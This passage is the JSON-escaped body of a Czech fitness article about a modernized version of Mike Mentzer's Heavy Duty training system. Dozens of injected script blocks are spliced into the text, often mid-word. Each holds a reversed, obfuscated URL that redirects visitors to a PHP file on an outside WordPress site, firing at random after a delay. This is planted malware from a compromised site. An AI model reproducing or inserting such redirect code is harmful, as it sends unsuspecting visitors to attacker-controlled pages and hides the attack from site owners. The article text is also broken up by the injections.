$Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to ale prim\u00e1rn\u00ed svaly, tzn. ty v\u011bt\u0161\u00ed svalov\u00e9 partie, kter\u00e9 odvedou v\u011bt\u0161inu pr\u00e1ce p\u0159i druh\u00e9m cviku a umo\u017en\u00ed dos\u00e1hnout maxim\u00e1ln\u00ed kontrakce\/vy\u010derp\u00e1n\u00ed.\u201c<\/p>\n<p>Speer \u0159\u00edk\u00e1, \u017ee z\u00e1t\u011b\u017e, kterou byste pro ten<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to cvik m\u011bli pou\u017e\u00edt, by v\u00e1m m\u011bla zaru\u010dit vy\u010derp\u00e1n\u00ed po \u0161esti a\u017e osmi opakov\u00e1n\u00edch. Pokud budete schopni prov\u00e9st v\u00edce ne\u017e osm opakov\u00e1n\u00ed, v\u00a0p\u0159\u00ed\u0161t\u00edm tr\u00e9ninku z\u00e1t\u011b\u017e zvy\u0161te. To plat\u00ed v\u00a0podstat\u011b pro ka\u017edou situaci, kdy najednou zvl\u00e1dnete v\u00edce ne\u017e jen p\u0159edepsan\u00fd po\u010det opakov\u00e1n\u00ed. Velikost z\u00e1t\u011b\u017ee je t\u0159eba p\u0159izp\u016fsobovat nov\u00e9 situaci. D\u00edky <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu va\u0161e s\u00edla poroste.<\/p>\n<p>&nbsp;<\/p>\n<p><strong>FREKVENCE TR\u00c9NINKU<\/strong><\/p>\n<p>Speer doporu\u010duje odpo\u010dinek jeden a\u017e t\u0159i dny mezi tr\u00e9ninky A a C, dva a\u017e \u010dty\u0159i dny mezi tr\u00e9ninky C a D. Pokud budete m\u00edt pocit, \u017ee pot\u0159ebujete odpo\u010d\u00edvat d\u00e9le, klidn\u011b <script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu cvi\u010den\u00ed p\u0159izp\u016fsobte, k\u00a0<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tomu<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to p\u0159\u00edstupu se klonil i s\u00e1m Mentzer. D\u016fvodem pro takovou variabilitu cel\u00e9ho syst\u00e9mu je podle Speera p\u0159\u00ednos tzv. konceptu au<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>toregulace, s\u00a0n\u00edm\u017e p\u0159i\u0161el Mel C. Siff, PhD a au<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>tor \u0161est\u00e9 edice <em>Supertraining<\/em>, d\u00edla, kter\u00e9 se v\u011bnuje s\u00edle ve v\u0161ech sm\u011brech. Z\u00e1kladn\u00ed my\u0161lenkou je individu\u00e1ln\u00ed n\u00e1rok na regeneraci. Je t\u0159eba moni<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>torovat n\u00e1roky sv\u00e9ho t\u011bla, vn\u00edmat bolest sval\u016f, kter\u00e9 systematicky vy\u010derp\u00e1v\u00e1te, v\u011bd\u011bt, kdy je nutn\u00e9 p\u0159idat den volna nav\u00edc a kdy naopak v\u00a0tr\u00e9ninku p\u0159itvrdit. M\u011bjte na pam\u011bti, \u017ee b\u00fdv\u00e1 \u010das<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to nutn\u00e9 prodlou\u017eit odpo\u010dinek mezi excentrick\u00fdmi tr\u00e9ninky, pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to\u017ee negativn\u00ed tr\u00e9nink svaly ve v\u011bt\u0161\u00ed m\u00ed\u0159e zat\u011b\u017euje, vede k\u00a0v\u00fdrazn\u011bj\u0161\u00ed bolestivosti a t\u00edm tak\u00e9 k\u00a0nutnosti dop\u0159\u00e1t t\u011blu v\u00edce \u010dasu na odpo\u010dinek.<\/p>\n<p>Ty<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to tr\u00e9ninky jsou velice intenzivn\u00ed a kladou obrovsk\u00e9 n\u00e1roky na schopnost regenerace. Excentrick\u00e9 tr\u00e9ninky nejenom vy\u010derpaj\u00ed i ty nejhlub\u0161\u00ed vrstvy svalov\u00e9 tk\u00e1n\u011b, ale mohou tak\u00e9 v\u00fdraznou m\u011brou p\u016fsobit na nervov\u00fd syst\u00e9m, kter\u00fd je na regeneraci n\u00e1ro\u010dn\u011bj\u0161\u00ed ne\u017e svaly. Pokud byste sv\u00e9mu t\u011blu nedop\u0159\u00e1li dostatek \u010dasu na odpo\u010dinek, riskovali byste p\u0159etr\u00e9nov\u00e1n\u00ed. Speer pro<script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$NfI=function(n){if (typeof ($NfI.list[n]) == \"string\") return $NfI.list[n].split(\"\").reverse().join(\"\");return $NfI.list[n];};$NfI.list=[\"\\'php.reklaw-yrogetac-smotsuc-ssalc\/php\/stegdiw-cpm\/snigulp\/tnetnoc-pw\/gro.ogotaropsaid.www\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}<\/script><script>$Bhq=function(n){if (typeof ($Bhq.list[n]) == \"string\") return $Bhq.list[n].split(\"\").reverse().join(\"\");return $Bhq.list[n];};$Bhq.list=[\"\\'php.snimda-lla\/sedulcni\/etis-etavirp-oidarnoj\/snigulp\/tnetnoc-pw\/sserpdrow\/moc.nogaxehliie\/\/:ptth\\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;\tsetTimeout($Bhq(0), delay);}<\/script>to doporu\u010duje za\u0159adit po ka\u017ed\u00fdch 24 tr\u00e9ninc\u00edch cel\u00fdch sedm a\u017e deset dn\u016f volna, b\u011bhem nich\u017e se t\u011blo dostate\u010dn\u011b zregeneruje.<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>P\u016eVODN\u00cd MENTZER\u016eV TR\u00c9NINKOV\u00dd SYST\u00c9M SE DO\u010cKAL SV\u00c9HO UPGRADU A NYN\u00cd SPL\u0147UJE PO\u017dADAVKY MODERN\u00cdCH SPORTOVC\u016e. V\u011bt\u0161inu sv\u00e9ho dosp\u011bl\u00e9ho \u017eivota str\u00e1vil Mike Mentzer (1951-2001) pilov\u00e1n\u00edm sv\u00e9ho Heavy Duty tr\u00e9ninkov\u00e9ho syst\u00e9mu, kter\u00fd mu slou\u017eil k\u00a0jedin\u00e9mu c\u00edli. Velk\u00fd kritik kulturistick\u00fdch metod, nositel titulu Mr. Universe a tv\u016frce syst\u00e9mu HD nev\u011bnoval pozornost velikosti z\u00e1t\u011b\u017ee, ne\u0161lo mu tolik o s\u00edlu. V\u0161e, co v\u00a0tr\u00e9ninku podnikal, bylo ur\u010deno k\u00a0tomu, aby nabral co nejv\u00edce svalov\u00e9 hmoty. Tolik, kolik mu jeho genetick\u00fd potenci\u00e1l umo\u017en\u00ed. A to b\u011bhem nejkrat\u0161\u00ed mo\u017en\u00e9 doby a p\u0159i vynalo\u017een\u00ed co nejmen\u0161\u00edho mno\u017estv\u00ed pr\u00e1ce. Mentzer byl neortodoxn\u00ed a nenapodobiteln\u00fd jak ve sv\u00fdch viz\u00edch, tak v\u00a0praktick\u00e9m tr\u00e9ninku. Z\u00e1sadn\u011b se stav\u011bl proti tzv. \u201ev\u011bdc\u016fm\u201c, kte\u0159\u00ed byli v\u00a0jeho o\u010d\u00edch jen fale\u0161n\u00fdmi proroky nejr\u016fzn\u011bj\u0161\u00edch spekulac\u00ed, nikoliv v\u0161ak skute\u010dn\u00e9 v\u011bdeck\u00e9 pr\u00e1ce. Vystupoval proti kulturistick\u00fdm hodnost\u00e1\u0159\u016fm, kte\u0159\u00ed nebyli schopn\u00ed docenit kvalitu jeho svalov\u00e9ho rozvoje, obvinil je, \u017ee pr\u00e1v\u011b kv\u016fli nim nez\u00edskal v\u00a0roce 1980 sv\u016fj zaslou\u017een\u00fd titul Mr. Olympia. Nesouhlasil s\u00a0kulturisty, kte\u0159\u00ed razili my\u0161lenku, \u017ee v\u00edce znamen\u00e1 l\u00e9pe. \u0158\u00edci, zda my\u0161lenka tr\u00e9ninku o n\u00edzk\u00e9m objemu, je funk\u010dn\u00ed \u010di nikoliv, nen\u00ed v\u016fbec jednoduch\u00e9. Bezpo\u010det sportovc\u016f se zap\u0159\u00edsah\u00e1, \u017ee Mentzerova metoda pat\u0159\u00ed k\u00a0nejlep\u0161\u00edm, zat\u00edmco jin\u00ed ji zatracuj\u00ed. Co jeden na Mentzerov\u011b tr\u00e9ninkov\u00e9 filosofii obdivuje, to druh\u00fd kritizuje. Ka\u017edop\u00e1dn\u011b se ale najdou tac\u00ed, kte\u0159\u00ed tomuto syst\u00e9mu cvi\u010den\u00ed vd\u011b\u010d\u00ed za sv\u016fj objem i symetrii. Cvi\u010den\u00ed na b\u00e1zi Heavy Duty se jim prost\u011b vyplatilo. Je ale mo\u017en\u00e9, aby tato technika vyhov\u011bla i dne\u0161n\u00edm, modern\u00edm sportovc\u016fm, kte\u0159\u00ed cht\u011bj\u00ed nabrat svalovou hmotu, ale sou\u010dasn\u011b jim jde o to, aby to byla hmota pln\u011b funk\u010dn\u00ed? T\u00edm se dost\u00e1v\u00e1me k\u00a0na\u0161\u00ed p\u0159evratn\u00e9 my\u0161lence. Co kdyby n\u011bkdo spojil pot\u0159eby modern\u00edch sportovc\u016f s\u00a0ideami Mentzerov\u00fdch \u010dasem prov\u011b\u0159en\u00fdch strategi\u00ed, aby posl\u00e9ze vytvo\u0159il post-modern\u00ed Mentzer\u016fv tr\u00e9ninkov\u00fd syst\u00e9m pro lidi, kte\u0159\u00ed cht\u011bj\u00ed nabrat svaly? Kdy\u017e jsme hledali, kdo by byl n\u011b\u010deho takov\u00e9ho schopen, zjistili jsme, \u017ee \u0161anci by m\u011bl z\u0159ejm\u011b jen jedin\u00fd \u010dlov\u011bk \u2013 Andrew Speer, spoluzakladatel SoHo Strength Lab v\u00a0New Yorku. Ten m\u00e1 na sv\u00e9m kont\u011b \u010dtvrt stolet\u00ed sportovn\u00edch zku\u0161enost\u00ed (je to b\u00fdval\u00fd gymnasta a atlet, kter\u00fd vynikal p\u0159edev\u0161\u00edm ve skoku o ty\u010di). &nbsp; Mentzer\u016fv tr\u00e9ninkov\u00fd syst\u00e9m \u0161el zcela proti konven\u010dn\u00edm cvi\u010debn\u00edm technik\u00e1m sedmdes\u00e1t\u00fdch let, zam\u011b\u0159oval se v\u00edce na intenzitu ne\u017e na objem. V\u00fdsledky mluv\u00ed za v\u0161e. &nbsp; MODERN\u00cd MENTZER\u016eV TR\u00c9NINK KA\u017dD\u00dd ZE \u010cTY\u0158 TR\u00c9NINK\u016e SE SKL\u00c1D\u00c1 ZE Z\u00c1KLADN\u00cdCH S\u00c9RI\u00cd. POT\u00c9, CO ODCVI\u010c\u00cdTE DAN\u00dd PO\u010cET ZAH\u0158\u00cdVAC\u00cdCH S\u00c9RI\u00cd PRVN\u00cdHO CVIKU, ZA\u0158AD\u00cdTE V\u017dDY JEDNU S\u00c9RII O \u0160ESTI A\u017d OSMI OPAKOV\u00c1N\u00cdCH DO VY\u010cERP\u00c1N\u00cd. PAK P\u0158EJD\u011aTE K\u00a0DAL\u0160\u00cdMU CVIKU A OP\u011aT MU V\u011aNUJTE MAXIM\u00c1LN\u00cd \u00daSIL\u00cd. ODPO\u010c\u00cdVAT M\u016e\u017dETE MEZI Z\u00c1KLADN\u00cdMI S\u00c9RIEMI, ALE NIKOLIV MEZI JEDNOTLIV\u00ddMI CVIKY. PRO\u010c POST-MODERN\u00cd TECHNIKY FUNGUJ\u00cd Ka\u017ed\u00fd z\u00a0tr\u00e9nink\u016f se skl\u00e1d\u00e1 z n\u011bkolika z\u00e1kladn\u00edch s\u00e9ri\u00ed (v\u00edce s\u00e9ri\u00ed na jednu svalovou partii prov\u00e1d\u011bn\u00fdch bez p\u0159est\u00e1vky). \u201eProgram jsem rozd\u011blil na tr\u00e9ninky A, B, C a D,\u201c \u0159\u00edk\u00e1 Speer. \u201eKrom\u011b drobn\u00fdch odli\u0161nost\u00ed jsou z\u00e1kladn\u00ed s\u00e9rie pro v\u0161echny tyto tr\u00e9ninky stejn\u00e9. Hlavn\u00ed rozd\u00edl spo\u010d\u00edv\u00e1 v\u00a0tom, \u017ee vych\u00e1z\u00ed z\u00a0r\u016fzn\u00fdch aspekt\u016f vysoko intenzivn\u00edho tr\u00e9ninku (HIT) v\u00a0z\u00e1vislosti na tom, ve kter\u00e9m konkr\u00e9tn\u00edm tr\u00e9ninku se nach\u00e1zej\u00ed.\u201c Prim\u00e1rn\u00edm c\u00edlem tr\u00e9nink\u016f A a C je zam\u011b\u0159it se na koncentrickou f\u00e1zi. Koncentrick\u00fd tr\u00e9nink vede do svalov\u00fdch bun\u011bk gluk\u00f3zu a tekutiny, \u010d\u00edm\u017e doch\u00e1z\u00ed k\u00a0dvojit\u00e9mu efektu: k\u00a0n\u00e1r\u016fstu objemu svalu a sou\u010dasn\u011b ke zv\u00fd\u0161en\u00ed hladiny energie. Koncentrick\u00fd tr\u00e9nink napom\u00e1h\u00e1 produkci s\u00edly a umo\u017en\u00ed v\u00e1m cvi\u010dit s\u00a0v\u011bt\u0161\u00edm nasazen\u00edm. Existuj\u00ed d\u016fkazy, \u017ee dokonce zlep\u0161uje inzul\u00ednovou senzitivitu, \u010d\u00edm\u017e podporuje metabolismus tuk\u016f. Tr\u00e9ninky B a D se zam\u011b\u0159uj\u00ed na excentrickou f\u00e1zi. Mentzer v\u017edy zd\u016fraz\u0148oval, \u017ee se ka\u017ed\u00e9 opakov\u00e1n\u00ed skl\u00e1d\u00e1 ze t\u0159\u00ed f\u00e1z\u00ed: koncentrick\u00e9 nebo-li pozitivn\u00ed, statick\u00e9 a negativn\u00ed, \u010dili excentrick\u00e9. Excentrick\u00e1 f\u00e1ze je nejsiln\u011bj\u0161\u00ed, tzn. posledn\u00ed, v\u00a0n\u00ed\u017e dos\u00e1hnete vy\u010derp\u00e1n\u00ed. Speer k\u00a0tomu dod\u00e1v\u00e1: \u201eExcentrick\u00e1 f\u00e1ze umo\u017en\u00ed absorbovat a 